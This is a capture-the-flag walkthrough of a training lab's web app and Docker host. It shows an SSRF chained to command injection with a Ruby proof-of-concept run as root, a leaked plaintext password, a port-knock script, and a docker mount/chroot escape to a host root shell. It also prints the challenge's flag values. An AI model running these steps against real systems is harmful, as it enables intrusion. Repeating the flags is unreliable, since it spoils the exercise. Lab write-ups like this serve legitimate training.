Information
Room#
- Name: The Great Escape
- Profile: tryhackme.com
- Difficulty: Medium
- Description: Our devs have created an awesome new site. Can you break out of the sandbox?
Write-up
Overview#
Install tools used in this WU on BlackArch Linux:
$ sudo pacman -S gtfoblookup docker curl nmap burpsuite ssrf-sheriff ruby-httpclient
Security.txt#
What is security.txt
? Take a look at my article on the subject.
On the web app we can hit /.well-known/security.txt
:
Hey you found me!
The security.txt file is made to help security researchers and ethical hackers to contact the company about security issues.
See https://securitytxt.org/ for more information.
Ping /api/fl46 with a HEAD request for a nifty treat.
Let's do that.
$ curl -I http://10.10.70.53/api/fl46
HTTP/1.1 200 OK
Server: nginx/1.19.6
Date: Thu, 18 Mar 2021 09:21:55 GMT
Connection: keep-alive
flag: THM{edited}
Web flag: THM{b801135794bf1ed3a2aafaa44c2e5ad4}
Web discovery#
Unauthenticated we can only see a login form.
But I quickly discovered /robots.txt
giving some interesting paths to try:
User-agent: *
Allow: /
Disallow: /api/
# Disallow: /exif-util
Disallow: /*.bak.txt$
/api/
: I have no information about the API yet so let's skip it for now/exif-util/
it has an unauthenticated upload form/*.bak.txt$
I'll be able to leak some source code with that
I retrieved the source code of the upload form at /exif-util.bak.txt
.
<template>
<section>
<div class="container">
<h1 class="title">Exif Utils</h1>
<section>
<form @submit.prevent="submitUrl" name="submitUrl">
<b-field grouped label="Enter a URL to an image">
<b-input
placeholder="http://..."
expanded
v-model="url"
></b-input>
<b-button native-type="submit" type="is-dark">
Submit
</b-button>
</b-field>
</form>
</section>
<section v-if="hasResponse">
<pre>
{{ response }}
</pre>
</section>
</div>
</section>
</template>
<script>
export default {
name: 'Exif Util',
auth: false,
data() {
return {
hasResponse: false,
response: '',
url: '',
}
},
methods: {
async submitUrl() {
this.hasResponse = false
console.log('Submitted URL')
try {
const response = await this.$axios.$get('http://api-dev-backup:8080/exif', {
params: {
url: this.url,
},
})
this.hasResponse = true
this.response = response
} catch (err) {
console.log(err)
this.$buefy.notification.open({
duration: 4000,
message: 'Something bad happened, please verify that the URL is valid',
type: 'is-danger',
position: 'is-top',
hasIcon: true,
})
}
},
},
}
</script>
This will send our image URL, either a HTTP link (http://example.org/image.png)
or data-URI (data:image/png;base64,iVBOR...
) to an internal API
(http://api-dev-backup:8080/exif). But we have an externally exposed API and
trying to reach http://10.10.190.91/api/exif gives a 500 error because the
endpoint exists but we did not provide any argument and it must be expecting
the url
too. So /api/exif
exposed on port 80 must be the same API as
/exif
on the internal port 8080.
But is there a difference in filtering between the production and backup API?
For now I don't know, but with the error message I get I know it's a Java backend:
An error occurred: sun.net.www.protocol.file.FileURLConnection cannot be cast to java.net.HttpURLConnection
.
Also if I make a SSRF to a controlled URL with ssrf-sheriff
(eg. http://10.10.190.91/api/exif?url=http://10.9.19.77:8000
) I retrieve
the following entry leaking Java version (11.0.8):
2021-02-16T10:50:48.652+0100 info handler/handler.go:105 New inbound HTTP request {"IP": "10.10.190.91:53190", "Path": "/", "Response Content-Type": "text/plain", "Request Headers": {"Accept":["text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2"],"Connection":["keep-alive"],"Te":["gzip, deflate; q=0.5"],"User-Agent":["Java/11.0.8"]}}
Web exploitation#
We can reach the internal dev APi via the public one (SSRF):
/api/exif?url=http://api-dev-backup:8080/exif?url=xxx
and it seems that the
internal one is vulnerable to command injection:
/api/exif?url=http://api-dev-backup:8080/exif?url=noraj;id
HTTP/1.1 200 OK
Server: nginx/1.19.6
Date: Thu, 18 Mar 2021 09:15:06 GMT
Content-Type: text/plain;charset=UTF-8
Content-Length: 360
Connection: close
An error occurred: File format could not be determined
Retrieved Content
----------------------------------------
An error occurred: File format could not be determined
Retrieved Content
----------------------------------------
uid=0(root) gid=0(root) groups=0(root)
Quick PoC in Ruby to ease the epxloitation:
require 'httpclient'
VULN_URL = 'http://10.10.70.53/api/exif'
cmd = ARGV[0]
data = {
'url' => "http://api-dev-backup:8080/exif?url=noraj;#{cmd}"
}
clnt = HTTPClient.new
res = clnt.get(VULN_URL, data)
if /Request contains banned words/.match?(res.body)
puts 'We hit blacklist'
else
stdout = /-{40}.+-{40}\s+(.+)/m.match(res.body).captures[0]
puts stdout
end
Run it:
$ ruby rce.rb id
uid=0(root) gid=0(root) groups=0(root)
$ ruby rce.rb 'ls -lhA /root'
total 20K
lrwxrwxrwx 1 root root 9 Jan 6 20:51 .bash_history -> /dev/null
-rw-r--r-- 1 root root 570 Jan 31 2010 .bashrc
drwxr-xr-x 1 root root 4.0K Jan 7 16:48 .git
-rw-r--r-- 1 root root 53 Jan 6 20:51 .gitconfig
-rw-r--r-- 1 root root 148 Aug 17 2015 .profile
-rw-rw-r-- 1 root root 201 Jan 7 16:46 dev-note.txt
$ ruby rce.rb 'cat /root/dev-note.txt'
Hey guys,
Apparently leaving the flag and docker access on the server is a bad idea, or so the security guys tell me. I've deleted the stuff.
Anyways, the password is fluffybunnies123
Cheers,
Hydra
$ ruby rce.rb 'ls -lhA /.dockerenv'
-rwxr-xr-x 1 root root 0 Jan 7 22:14 /.dockerenv
It seems we are running as root in a docker container and we found a password
in dev-note.txt
: fluffybunnies123
. It's a valid password for the web app
or SSH.
System enumeration#
The note is saying file were removed and we have a git repository.
Let's dig in the git repository:
$ ruby rce.rb 'cd /root; git --no-pager log --oneline'
5242825 fixed the dev note
4530ff7 Removed the flag and original dev note b/c Security
a3d30a7 Added the flag and dev notes
$ ruby rce.rb 'cd /root; git --no-pager log HEAD~2 -p'
commit a3d30a7d0510dc6565ff9316e3fb84434916dee8
Author: Hydra <hydragyrum@example.com>
Date: Wed Jan 6 20:51:39 2021 +0000
Added the flag and dev notes
diff --git a/dev-note.txt b/dev-note.txt
new file mode 100644
index 0000000..89dcd01
--- /dev/null
+++ b/dev-note.txt
@@ -0,0 +1,9 @@
+Hey guys,
+
+I got tired of losing the ssh key all the time so I setup a way to open up the docker for remote admin.
+
+Just knock on ports 42, 1337, 10420, 6969, and 63000 to open the docker tcp port.
+
+Cheers,
+
+Hydra
\ No newline at end of file
diff --git a/flag.txt b/flag.txt
new file mode 100644
index 0000000..aae8129
--- /dev/null
+++ b/flag.txt
@@ -0,0 +1,3 @@
+You found the root flag, or did you?
+
+THM{edited}
\ No newline at end of file
Docker flag: THM{0cb4b947043cb5c0486a454b75a10876}
Port knocking#
The second dev note was telling us to do some port knocking on TCP ports 42, 1337, 10420, 6969, and 63000 to expose the docker port remotely.
We can write a quick port knocker in Ruby:
require 'socket'
ports = [42, 1337, 10420, 6969, 63000]
ports.each do |port|
puts "[+] Port: #{port}"
sleep 1
begin
s = TCPSocket.new '10.10.70.53', port
s.close
rescue Errno::ECONNREFUSED, Errno::EHOSTUNREACH
next
end
end
Also looking at the List of TCP and UDP port numbers we can find the docker related well known ports:
- 2375: Docker REST API (plain)
- 2376: Docker REST API (SSL)
- 2377: Docker Swarm cluster management communications
It's will be most likely be exposed on port 2375.
Let's port knock and then see if the docker port is open:
$ ruby port-knock.rb
[+] Port: 42
[+] Port: 1337
[+] Port: 10420
[+] Port: 6969
[+] Port: 63000
$ nmap -p 2375 10.10.70.53
Starting Nmap 7.91 ( https://nmap.org ) at 2021-03-18 11:27 CET
Nmap scan report for 10.10.70.53
Host is up (0.034s latency).
PORT STATE SERVICE
2375/tcp open docker
Nmap done: 1 IP address (1 host up) scanned in 0.13 seconds
Docker enumeration#
Let's use an environment variable (DOCKER_HOST
) to use the remotely exposed
one for our current session. Then we can enumerate.
$ export DOCKER_HOST=tcp://10.10.70.53:2375
$ docker ps
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
49fe455a9681 frontend "/docker-entrypoint.…" 2 months ago Up 2 hours 0.0.0.0:80->80/tcp dockerescapecompose_frontend_1
4b51f5742aad exif-api-dev "./application -Dqua…" 2 months ago Up 2 hours dockerescapecompose_api-dev-backup_1
cb83912607b9 exif-api "./application -Dqua…" 2 months ago Up 2 hours 8080/tcp dockerescapecompose_api_1
548b701caa56 endlessh "/endlessh -v" 2 months ago Up 2 hours 0.0.0.0:22->2222/tcp dockerescapecompose_endlessh_1
$ docker image ls
REPOSITORY TAG IMAGE ID CREATED SIZE
exif-api-dev latest 4084cb55e1c7 2 months ago 214MB
exif-api latest 923c5821b907 2 months ago 163MB
frontend latest 577f9da1362e 2 months ago 138MB
endlessh latest 7bde5182dc5e 2 months ago 5.67MB
nginx latest ae2feff98a0c 3 months ago 133MB
debian 10-slim 4a9cd57610d6 3 months ago 69.2MB
registry.access.redhat.com/ubi8/ubi-minimal 8.3 7331d26c1fdf 3 months ago 103MB
alpine 3.9 78a2ce922f86 10 months ago 5.55MB
There is a generic Alpine image.
EoP: Docker exploitation#
Let's check the GTFObin for docker and use it:
$ gtfoblookup linux shell docker
docker:
shell:
Description: The resulting is a root shell.
Code: docker run -v /:/mnt --rm -it alpine chroot /mnt sh
$ docker run -v /:/mnt --rm -it alpine:3.9 chroot /mnt sh
# id
uid=0(root) gid=0(root) groups=0(root),1(daemon),2(bin),3(sys),4(adm),6(disk),10(uucp),11,20(dialout),26(tape),27(sudo)
# cat /root/flag.txt
Congrats, you found the real flag!
THM{edited}
Root flag: THM{c62517c0cad93ac93a92b1315a32d734}